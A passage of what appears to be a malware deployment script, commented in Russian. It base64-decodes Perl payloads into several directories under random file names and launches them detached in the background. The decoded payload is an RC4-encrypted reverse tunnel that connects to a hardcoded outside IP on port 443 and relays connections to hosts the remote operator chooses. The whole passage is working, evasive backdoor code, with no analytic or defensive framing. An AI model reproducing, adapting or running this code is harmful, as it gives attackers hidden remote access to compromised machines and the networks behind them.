CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #21 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #21 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 22 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr 